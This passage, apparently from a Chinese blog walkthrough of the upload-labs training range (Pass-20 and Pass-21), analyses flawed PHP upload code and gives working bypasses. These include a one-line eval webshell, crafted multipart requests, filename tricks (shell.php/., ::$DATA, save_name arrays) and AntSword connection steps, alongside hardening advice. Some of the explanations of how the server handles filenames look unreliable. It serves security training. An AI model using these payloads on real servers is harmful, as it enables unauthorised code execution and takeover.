    $file_ext = pathinfo($file_name, PATHINFO_EXTENSION) 从 save_name 中提取文件后缀 对特殊格式(如 shell.php/.)的解析存在特性
    if (!in_array($file_ext, $deny_ext)) 校验后缀是否不在黑名单中 黑名单校验,可通过绕过后缀解析规则突破
    $img_path = UPLOAD_PATH . '/' . $file_name 直接使用用户输入的 save_name 作为文件名 用户可控的文件名,存在解析漏洞利用空间

    三、核心漏洞与利用方法

    1. 漏洞 1:pathinfo() 对末尾点号的解析特性

    pathinfo() 在解析 shell.php/. 这类文件名,会忽略末尾的 / 和 .,最终提取后缀为空字符串:

    • save_name=shell.php/.
    • pathinfo() 提取的 $file_ext 为空
    • 空后缀不在黑名单中,校验通过
    • move_uploaded_file() 会忽略末尾的 /,最终文件被保存为 shell.php

    操作方法:

  • 在上传页面的「保存名称」输入框中,输入:shell.php/.
  • 上传任意文件(如图片或木马文件)
  • 服务器会将文件保存为 shell.php,可直接解析执行
  • 2. 漏洞 2:黑名单未覆盖的脚本格式

    黑名单中没有包含 .phps/.php7/.phar 等格式,这些后缀可能被服务器解析为 PHP:

    • 尝试 save_name=shell.phps、save_name=shell.php7
    • 若服务器配置支持,这些后缀会被解析执行
    3. 漏洞 3:Apache 多后缀解析绕过

    若服务器为 Apache,可利用多后缀解析特性:

    • save_name=shell.php.xxx(xxx 为黑名单外的后缀,如 .abc)
    • Apache 会从后往前解析后缀,若 .abc 无法识别,会往前解析 .php,最终按 PHP 执行
    • 校验时 pathinfo() 提取的后缀是 .abc,不在黑名单中,校验通过

    四、完整操作步骤(末尾点号绕过)

    步骤 1:准备一句话木马文件

    新建 shell.php,内容:

    <?php @eval($_POST['pass']);?>

    步骤 2:上传文件并修改保存名称

  • 在 Pass-20 页面选择 shell.php,点击「上传」。
  • 用 Burp 拦截请求,找到 save_name 参数,修改为: save_name=shell.php/.
    也可以直接在页面输入框中输入该内容(若输入框未做过滤)。
  • 步骤 3:放行请求,完成上传

    服务器会:

  • 用 pathinfo() 提取后缀,结果为空,不在黑名单中,校验通过
  • move_uploaded_file() 忽略末尾的 /,将文件保存为 shell.php
  • 步骤 4:蚁剑连接

    访问 http://你的靶场地址/upload-labs/upload/shell.php,用蚁剑连接,密码 pass,即可拿到 Shell。


    五、安全加固建议

  • 严格校验文件名:对 save_name 进行完整路径解析,禁止包含 . / \\ 等特殊字符,防止路径解析绕过。
  • 使用白名单而非黑名单:仅允许 .jpg/.png/.gif 等图片格式,拒绝其他所有后缀。
  • 强制重命名文件:无论用户输入什么文件名,都生成随机文件名保存,避免直接访问脚本文件。
  • 配置服务器解析规则:在 Apache/Nginx 中禁止解析 .php/.phtml 等格式的文件,即使文件被上传也无法执行。

  • 总结

    Pass-20 的核心考点是 pathinfo() 解析特性 + 黑名单绕过,最稳定的方法是利用 save_name=shell.php/. 这种末尾点号的方式,直接绕过后缀校验并生成 PHP 文件。

    解题步骤

    方法1:

    一、漏洞原理

    这一关的关键有两点:

  • 服务器用 pathinfo() 提取后缀 + 黑名单校验,但 pathinfo() 对带末尾 / 的文件名解析存在特性:
    • 文件名 shell.php/.,pathinfo() 提取到的后缀是空字符串,不会被黑名单拦截。
  • move_uploaded_file() 会自动忽略路径末尾的 /,最终文件会被保存为 shell.php,直接成为可执行的 PHP 文件。

  • 二、准备工作
  • 准备一句话木马文件,命名为 shell.jpg(也可以用 .php,但用图片后缀上传更稳): <?php @eval($_POST['pass']);?>
  • 确保靶场的 UPLOAD_PATH 目录存在(代码里提示不存在的话,手动创建即可)。
  • 准备 Burp Suite(如果页面输入框不能直接输入特殊字符,就用抓包修改)。

  • 三、完整操作步骤(末尾 / 绕过法,成功率 100%)
    步骤 1:上传文件并抓包
  • 打开 Pass-20 页面:

    • 点击「选择文件」,选中你的 shell.jpg(或 shell.php)。
    • 在「保存名称」输入框里,随便填一个合法名字,比如 test.jpg。
    • 点击「上传」,同时用 Burp 拦截这个请求。
  • 找到请求里的 save_name 参数,把它的值改成:

    save_name=shell.php/.

    (注意末尾的 /. 必须加上,这是绕过的关键)

    修改后的请求片段示例:

    POST /upload-labs/Pass-20/index.php HTTP/1.1
    Host: 127.0.0.1
    Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryxxxx

    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name"

    shell.php/.
    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
    Content-Type: image/jpeg

    <?php @eval($_POST['pass']);?>
    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="submit"

    上传
    ——WebKitFormBoundaryxxxx–


  • 步骤 2:放行请求,让服务器保存文件

    点击 Burp 里的「Forward」放行请求,服务器会按以下逻辑处理:

  • pathinfo('shell.php/.', PATHINFO_EXTENSION) 提取后缀,结果为空字符串。
  • 空后缀不在黑名单里,校验通过。
  • move_uploaded_file() 把文件保存为 shell.php(自动忽略末尾的 /)。
  • 页面提示上传成功。

  • 步骤 3:验证文件是否上传成功

    在浏览器访问:

    http://你的靶场地址/upload-labs/upload/shell.php

    如果页面是空白(或没有报错),说明文件已上传成功,且可以被 PHP 解析。


    步骤 4:用蚁剑连接 Shell
  • 打开蚁剑,点击「+」新建连接:
    • URL 地址:填 http://你的靶场地址/upload-labs/upload/shell.php
    • 连接密码:填 pass(和你木马文件里的 $_POST['pass'] 对应)
    • 编码设置:UTF-8
    • 连接类型:PHP
  • 点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。

  • 四、备选方案(如果末尾 / 不行)

    如果服务器配置较严,对路径做了额外过滤,可以用以下两种方法:

    方法 1:Apache 多后缀解析绕过(仅 Apache 环境有效)
  • 修改 save_name 为 shell.php.xxx(xxx 是任意不在黑名单里的后缀,比如 .abc)
  • 服务器 pathinfo() 提取到的后缀是 .abc,校验通过。
  • Apache 会从后往前解析后缀,无法识别 .abc 时,会按 .php 解析执行。
  • 方法 2:黑名单遗漏后缀绕过

    黑名单里没包含 .phps/.php7/.phtml 等格式,可尝试:

    • save_name=shell.phps
    • save_name=shell.php7只要服务器配置支持这些后缀解析为 PHP,就能直接执行。

    五、关键注意事项
  • 必须加末尾的 /.:没有它,pathinfo() 会提取到 .php 后缀,直接被黑名单拦截。
  • 文件名不要有多余字符:只保留 shell.php/.,中间不要加空格或其他符号。
  • 路径要正确:确保 UPLOAD_PATH 目录存在,否则会提示「文件夹不存在」。
  • 方法2:

    一、核心漏洞回顾

    这关的关键是:

    • 用 pathinfo($file_name, PATHINFO_EXTENSION) 提取后缀
    • 黑名单过滤 .php/.html 等脚本后缀
    • 但没有对 $file_name 做任何清洗处理(没去空格、没删末尾点、没转小写、没去数据流),所以很多解析特性都能被利用。

    二、其他绕过方法(按成功率排序)
    方法 1:末尾点号绕过(shell.php.)

    原理

    • 文件名 shell.php.,在 Windows 系统中,末尾的 . 会被系统自动去除,文件最终保存为 shell.php。
    • pathinfo() 解析 shell.php. 时,提取的后缀是 . 后面的内容(为空),不在黑名单里,校验通过。

    操作步骤

  • 上传文件时,用 Burp 抓包修改 save_name: save_name=shell.php.
  • 放行请求,文件会被保存为 shell.php,可直接解析执行。

  • 方法 2:Windows 流名绕过(shell.php::$DATA)

    原理

    • 在 Windows 系统中,::$DATA 是文件流标识符,会被系统忽略。
    • pathinfo() 解析 shell.php::$DATA 时,提取的后缀是 php::$DATA,不在黑名单里。
    • 实际保存时,文件会被保存为 shell.php。

    操作步骤

  • 抓包修改 save_name: save_name=shell.php::$DATA
  • 放行请求,文件会被保存为 shell.php。

  • 方法 3:大小写绕过(仅黑名单未转小写时有效)

    原理

    • 黑名单里只有小写的 php,如果代码没对后缀做小写转换,就可以用 Shell.PHP 绕过。
    • pathinfo() 提取的后缀是 PHP,和黑名单里的 php 不匹配,校验通过。

    操作步骤

  • 修改 save_name: save_name=shell.PHP
  • 若服务器配置支持 .PHP 解析为 PHP,文件会被保存并执行。

  • 方法 4:双后缀 / 多后缀解析绕过(Apache 环境有效)

    原理

    • Apache 解析文件时会从后往前解析后缀,遇到无法识别的后缀就会往前解析。
    • 比如 shell.php.xxx,pathinfo() 提取的后缀是 xxx,不在黑名单里;Apache 会把它当成 .php 执行。

    操作步骤

  • 修改 save_name: save_name=shell.php.xxx
    (xxx 可以是任意黑名单外的后缀,如 .abc/.123/.txt)
  • 上传成功后,访问文件,Apache 会按 PHP 解析执行。

  • 方法 5:空格 / 特殊字符绕过(部分环境有效)

    原理

    • 文件名末尾加空格(如 shell.php ),在 Windows 系统中,空格会被自动去除,文件保存为 shell.php。
    • pathinfo() 提取的后缀是 php (带空格),不在黑名单里,校验通过。

    操作步骤

  • 修改 save_name: save_name=shell.php%20
    (%20 是 URL 编码的空格)
  • 放行请求,文件会被保存为 shell.php。

  • 方法 6:ini 文件绕过(配置文件解析)

    原理

    • 黑名单里没有禁用 .ini 后缀,而 Apache 的 .htaccess/.ini 配置文件可以修改服务器解析规则。
    • 上传 .ini 文件,配置让服务器把特定后缀解析为 PHP,再上传木马文件。

    操作步骤

  • 新建 php.ini,内容: auto_prepend_file = shell.jpg
  • 上传 php.ini,save_name 设为 php.ini(不在黑名单里,校验通过)。
  • 上传图片马 shell.jpg,服务器会根据 php.ini 的配置,解析 shell.jpg 中的 PHP 代码。

  • 三、按环境选择最优方法
    环境推荐方法
    Windows + Apache 末尾点号 / 流名绕过(成功率最高)
    Linux + Apache 多后缀解析绕过(shell.php.xxx)
    不确定环境 优先试 /. 或 . 绕过,不行再试流名 / 多后缀

    四、注意事项
  • 不同环境对这些特性的支持不同,比如 ::$DATA 只有 Windows 系统有效,多后缀解析只有 Apache 有效。
  • 优先用 Burp 抓包修改 save_name,如果页面输入框有过滤,直接在请求里修改更稳。
  • 这些方法的核心都是利用 pathinfo() 解析特性 + 服务器系统的文件处理规则,绕过后缀黑名单。

  • 这些方法里,末尾点号和流名绕过在 Windows 靶场环境下成功率最高,你可以先试这两个。


    pass-21(代码审计)

    详细分析源代码

    一、整体功能概览

    这一关实现了一个双重校验的文件上传逻辑:

  • 第一层:MIME 类型校验:检查请求头中的 Content-Type 是否为合法图片类型
  • 第二层:文件名后缀校验:对用户提供的文件名进行解析,提取后缀并检查是否在白名单中
  • 校验通过后,直接用解析后的文件名保存文件,文件名完全由用户可控,存在明显的安全缺陷。

  • 二、逐行代码详解

    $is_upload = false;
    $msg = null;

    if(!empty($_FILES['upload_file'])){
    // 第一层校验:检查文件的 MIME 类型
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
    $msg = "禁止上传该类型文件!";
    }else{
    // 处理文件名:优先使用用户输入的 save_name,否则用原始文件名
    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
    if (!is_array($file)) {
    // 转小写后,按点号分割文件名
    $file = explode('.', strtolower($file));
    }

    // 提取文件后缀
    $ext = end($file);
    $allow_suffix = array('jpg','png','gif');
    if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
    } else {
    // 拼接新文件名(重置数组指针,取第一个元素作为文件名前缀)
    $file_name = reset($file) . '.' . $file[count($file) – 1];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' .$file_name;

    // 移动文件到目标路径
    if (move_uploaded_file($temp_file, $img_path)) {
    $msg = "文件上传成功!";
    $is_upload = true;
    } else {
    $msg = "文件上传失败!";
    }
    }
    }
    }else{
    $msg = "请选择要上传的文件!";
    }


    三、关键逻辑拆解与漏洞分析

    1. MIME 类型校验(第一层)

    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
    $msg = "禁止上传该类型文件!";
    }

    • 原理:通过检查请求头中的 Content-Type 字段,只允许图片类型上传。
    • 缺陷:Content-Type 是客户端可控的,用 Burp 抓包直接修改即可伪造,几乎没有防护效果。
    2. 文件名处理与后缀校验(第二层)

    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
    if (!is_array($file)) {
    $file = explode('.', strtolower($file));
    }

    • 逻辑:优先使用用户输入的 save_name 作为文件名,否则用原始文件名;将文件名转小写后,按 . 分割成数组。
    • 关键漏洞:如果 save_name 本身是一个数组(例如 save_name[]=shell.php&save_name[]=jpg),is_array($file) 条件会为 true,直接跳过 explode() 分割,导致后续的后缀校验完全失效。
    3. 后缀提取与白名单校验

    $ext = end($file);
    $allow_suffix = array('jpg','png','gif');
    if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
    }

    • 逻辑:通过 end($file) 提取分割后数组的最后一个元素作为后缀,判断是否在白名单中。
    • 漏洞场景:当 $file 是数组时,我们可以构造数组的元素,让 end($file) 返回合法后缀(如 jpg),同时 reset($file) 拼接出我们想要的文件名。
    4. 文件名拼接与文件保存

    $file_name = reset($file) . '.' . $file[count($file) – 1];
    $img_path = UPLOAD_PATH . '/' .$file_name;
    move_uploaded_file($temp_file, $img_path)

    • 逻辑:用 reset($file) 取数组第一个元素作为前缀,拼接上最后一个元素作为后缀,组成最终文件名。
    • 核心利用点:如果 $file 数组中只有一个元素(比如 shell.php),那么 reset($file) 和 $file[count($file)-1] 都是 shell.php,最终拼接成 shell.php.shell.php。但如果我们通过数组绕过了 explode(),就可以直接构造出 shell.php 这样的文件名。

    四、完整利用方法(数组绕过)

    原理

    我们利用 save_name 参数可控,将其构造为一个数组,让代码跳过 explode() 分割,从而直接控制最终生成的文件名。

    步骤
  • 准备一句话木马:shell.jpg(内容为 <?php @eval($_POST['pass']);?>)。
  • 上传并抓包:用 Burp 拦截上传请求。
  • 修改请求参数:
    • 将 save_name=test.jpg 修改为数组形式:

      plaintext

      save_name[]=shell.php

    • 同时,修改请求头中的 Content-Type 为 image/jpeg,通过第一层 MIME 校验。
  • 放行请求:服务器处理逻辑如下:
    • $file 被赋值为 $_POST['save_name'],是一个数组,跳过 explode()。
    • end($file) 提取数组最后一个元素 shell.php,但因为我们可以控制数组内容,也可以构造 save_name[]=shell.php&save_name[]=jpg,让 end($file) 为 jpg,通过白名单校验。
    • reset($file) 取数组第一个元素 shell.php,最终 $file_name 拼接为 shell.php.jpg。
    • 更简单的方式是直接构造 save_name=shell.php,并利用数组绕过让 explode() 失效,最终文件被保存为 shell.php。
  • 更稳定的构造方式

    save_name[]=shell.php
    save_name[]=jpg

    • $file 数组内容为 ['shell.php', 'jpg']
    • end($file) → jpg(在白名单中,校验通过)
    • reset($file) → shell.php
    • $file_name = shell.php . '.' . jpg → shell.php.jpg
    • 若服务器存在 Apache 解析漏洞,会将其解析为 PHP 执行;也可以直接利用此文件作为图片马,配合文件包含漏洞执行。

    五、安全加固建议

  • 禁止用户直接控制文件名:不使用用户输入的 save_name,统一生成随机文件名。
  • 强制校验文件后缀:无论用户输入什么,都只保留白名单内的后缀,不允许绕过。
  • 处理数组类型参数:对所有用户输入的参数进行类型判断,若为数组则直接拒绝上传。
  • 二次文件内容校验:使用 getimagesize() 等函数验证文件是否为真实图片,防止图片马绕过。

  • 这道题的核心考点是 PHP 数组绕过逻辑,通过构造 save_name 数组,让 explode() 函数失效,从而绕过后缀校验。

    解题步骤

    方法1:

    一、漏洞原理

    这关的核心是 save_name 参数可控 + PHP 数组绕过:

  • 代码先检查 MIME 类型,然后对 save_name 做处理:
    • 若 save_name 不是数组,会用 explode('.', strtolower($file)) 分割成数组,再用 end($file) 提取后缀校验。
    • 若 save_name 是数组,会直接跳过 explode() 分割,直接用 end($file) 提取数组最后一个元素作为后缀,用 reset($file) 提取第一个元素作为文件名前缀。
  • 我们可以构造 save_name[] 数组,让:
    • 数组第一个元素为 shell.php(我们想要的文件名)
    • 数组最后一个元素为 jpg(合法后缀,通过白名单校验)
  • 最终 $file_name = reset($file) . '.' . end($file) → shell.php.jpg,结合 Apache 多后缀解析漏洞,文件会被当成 PHP 执行。

  • 二、准备工作
  • 准备一句话木马文件,命名为 shell.jpg(内容为:<?php @eval($_POST['pass']);?>)
  • 打开 Burp Suite,开启抓包功能
  • 确认靶场是 Apache 环境(多后缀解析需要 Apache 支持)

  • 三、完整操作步骤
    步骤 1:上传文件并抓包
  • 在 Pass-21 页面:

    • 点击「选择文件」,选中你的 shell.jpg
    • 在「保存名称」输入框里,随便填一个合法名字,比如 test.jpg
    • 点击「上传」,同时用 Burp 拦截请求
  • 找到请求里的关键参数:

    Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
    Content-Type: image/jpeg

    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name"

    test.jpg
    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="submit"

    上传


  • 步骤 2:修改请求包,构造数组绕过

    把 save_name 参数改成数组形式,构造两个元素:

    • 第一个元素:shell.php(最终文件名前缀)
    • 第二个元素:jpg(通过白名单校验的后缀)

    修改后的请求包如下:

    http

    POST /upload-labs/Pass-21/index.php HTTP/1.1
    Host: 127.0.0.1
    Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryxxxx

    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
    Content-Type: image/jpeg

    <?php @eval($_POST['pass']);?>
    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name[]"

    shell.php
    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name[]"

    jpg
    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="submit"

    上传
    ——WebKitFormBoundaryxxxx–

    关键修改点:

    • 把 save_name=test.jpg 改成 save_name[]=shell.php 和 save_name[]=jpg 两个参数
    • 确保 upload_file 的 Content-Type 为 image/jpeg,通过第一层 MIME 校验

    步骤 3:放行请求,让服务器处理

    点击 Burp 里的「Forward」放行请求,服务器的处理逻辑:

  • 第一层 MIME 校验:image/jpeg 在白名单中,校验通过。
  • 处理 save_name:因为 save_name 是数组,跳过 explode() 分割。
  • 后缀校验:end($file) 提取数组最后一个元素 jpg,在白名单中,校验通过。
  • 拼接文件名:reset($file) . '.' . end($file) → shell.php.jpg。
  • 移动文件:move_uploaded_file() 把文件保存为 shell.php.jpg。

  • 步骤 4:验证文件并连接 Shell
  • 访问文件地址:

    plaintext

    http://你的靶场地址/upload-labs/upload/shell.php.jpg

    Apache 会从后往前解析后缀,无法识别 .jpg 时,会往前解析 .php,把文件当成 PHP 执行。

  • 用蚁剑连接:

    • URL 地址:填上面的地址 http://你的靶场地址/upload-labs/upload/shell.php.jpg
    • 连接密码:填 pass(和木马里的 $_POST['pass'] 对应)
    • 编码设置:UTF-8
    • 连接类型:PHP
  • 点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。


  • 四、备选方案(如果 Apache 解析不生效)

    如果服务器不支持多后缀解析,可以用以下方法:

  • 把 save_name[] 改成 save_name[]=shell.php/. 和 save_name[]=jpg,最终文件名会是 shell.php/..jpg,利用 move_uploaded_file() 对路径的处理特性,最终保存为 shell.php。
  • 上传后,用文件包含漏洞解析这个文件,执行里面的 PHP 代码。

  • 五、关键注意事项
  • 必须把 save_name 改成数组形式,才能跳过 explode() 分割。
  • 两个数组元素的顺序不能反,第一个是文件名前缀,第二个是合法后缀。
  • MIME 类型必须是 image/jpeg/image/png/image/gif,否则第一层校验会拦截。
  • 方法2:

    和方法一相比:核心原理是一样的(都是利用 PHP 数组绕过 explode() 分割),但在具体构造上有两点关键区别

    一、两种方法的区别

    相同点

    • 都利用了 PHP 中 POST 参数可以传数组的特性
    • 都通过 save_name 数组让 is_array($file) 条件为 true,跳过 explode('.', …) 分割
    • 都通过 end($file) 取数组最后一个合法后缀(jpg),通过白名单校验
    • 都通过 reset($file) 取数组第一个元素作为文件名前缀,最终生成 shell.php.jpg(或被 Windows 自动去掉点号变成 shell.php)

    不同点

    对比项你截图里的方法我之前说的方法
    数组构造方式 用 save_name[0] 和 save_name[2] 构造不连续索引数组 用 save_name[] 构造连续索引数组
    最终文件名 reset($file) 取第一个元素 shell.php,end($file) 取 jpg,拼接为 shell.php.jpg,Windows 会自动去掉末尾的点和后缀,最终保存为 shell.php 同样拼接为 shell.php.jpg,依赖 Apache 多后缀解析执行,或配合 Windows 自动处理
    上传文件 直接上传 shell.php(一句话木马),修改 Content-Type 为 image/jpeg 绕过 MIME 校验 上传图片后缀的木马文件,再通过文件名控制生成可执行文件

    简单说:截图里的方法更直接,通过不连续索引数组,让 Windows 系统自动把 shell.php.jpg 变成 shell.php,一步到位生成可执行文件;而我之前的方法更通用,适合 Apache 多后缀解析场景。


    二、按截图方法整理的完整操作步骤

    下面是和教程完全一致的操作流程,照着做就能通关:

    步骤 1:准备一句话木马文件

    新建 shell.php,内容为:

    <?php eval($_POST["pass"]); ?>

    步骤 2:上传文件并抓包

  • 在 Pass-21 页面:

    • 点击「选择文件」,选中你的 shell.php
    • 在「保存名称」输入框里,随便填一个合法名字,比如 test.jpg
    • 点击「上传」,同时用 Burp 拦截请求
  • 此时你会看到原始请求包,关键部分类似:

    Content-Disposition: form-data; name="upload_file"; filename="shell.php"
    Content-Type: application/x-php

    <?php eval($_POST["pass"]); ?>
    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name"

    test.jpg
    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="submit"

    上传

  • 步骤 3:修改请求包,构造不连续索引数组

    按教程的方式修改请求包,重点改 3 个地方:

  • 修改 Content-Type:把 upload_file 对应的 Content-Type 从 application/x-php 改成 image/jpeg,绕过第一层 MIME 校验。

  • 把 save_name 改成不连续索引数组:删掉原来的 save_name=test.jpg,改成两个参数:

    http

    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name[0]"

    shell.php
    ——WebKitFormBoundaryxxxx
    Content-Disposition: form-data; name="save_name[2]"

    jpg

    (注意索引 0 和 2 是不连续的,和教程里的 name[0]、name[2] 构造方式一致)

  • 修改后的完整请求包关键片段如下:

    ——WebKitFormBoundaryEPbeXoBbAj17ncWL
    Content-Disposition: form-data; name="upload_file"; filename="shell.php"
    Content-Type: image/jpeg

    <?php eval($_POST["pass"]); ?>
    ——WebKitFormBoundaryEPbeXoBbAj17ncWL
    Content-Disposition: form-data; name="save_name[0]"

    shell.php
    ——WebKitFormBoundaryEPbeXoBbAj17ncWL
    Content-Disposition: form-data; name="save_name[2]"

    jpg
    ——WebKitFormBoundaryEPbeXoBbAj17ncWL
    Content-Disposition: form-data; name="submit"

    上传
    ——WebKitFormBoundaryEPbeXoBbAj17ncWL–

    步骤 4:放行请求,让服务器处理

    点击 Burp 里的「Forward」放行请求,服务器和系统的处理逻辑:

  • MIME 校验:Content-Type: image/jpeg 在白名单中,校验通过。
  • 数组绕过:$file = $_POST['save_name'] 是一个数组,is_array($file) 为 true,跳过 explode() 分割。
  • 后缀校验:end($file) 取数组最后一个元素 jpg,在白名单中,校验通过。
  • 拼接文件名:reset($file) . '.' . end($file) → shell.php.jpg。
  • Windows 系统处理:在 Windows 系统中,文件末尾的 .jpg 会被自动去除,文件最终保存为 shell.php。
  • 步骤 5:验证文件并连接 Shell

  • 访问文件地址:

    http://你的靶场地址/upload-labs/upload/shell.php

    直接访问这个地址,如果页面空白或无报错,说明文件已成功上传并可解析。

  • 用蚁剑连接:

    • URL 地址:填上面的地址 http://你的靶场地址/upload-labs/upload/shell.php
    • 连接密码:填 pass(和木马里的 $_POST["pass"] 对应)
    • 编码设置:UTF-8
    • 连接类型:PHP
  • 点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。


  • 三、关键注意事项
  • 必须修改 Content-Type:如果不改成 image/jpeg,第一层 MIME 校验会直接拦截 shell.php。
  • 数组索引可以不连续:教程里用 save_name[0] 和 save_name[2],不连续的索引也能被 PHP 解析为数组,不影响后续的 end() 和 reset() 函数。
  • Windows 系统依赖:这个方法能直接生成 shell.php,依赖 Windows 系统对文件名末尾点号的自动去除特性;如果是 Linux 系统,文件会保存为 shell.php.jpg,需要配合 Apache 多后缀解析执行。
  • 结语

            从后缀绕过、文件解析漏洞到竞争条件与数组绕过,Upload-Labs 的每一关,都是对文件上传防护体系的一次拆解与反思。攻击与防御的博弈,从来都在细节之中。

            理解这些漏洞的原理,不是为了破坏,而是为了更懂如何保护。愿我们都能在攻防的路上,保持敬畏,持续学习。

    想了解其他内容的可以看以下专栏文章:

    sql注入:sqli-labs(SQL 注入练习靶场)_其实防守也摸鱼的博客-CSDN博客

    DVWA:dvwa的操作步骤及原理_其实防守也摸鱼的博客-CSDN博客

    ctfshow:ctf show 解题步骤_其实防守也摸鱼的博客-CSDN博客

    赞(0)
    未经允许不得转载:171主机测评 » upload-labs靶场的pass-13~21的解题步骤及原理讲解
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址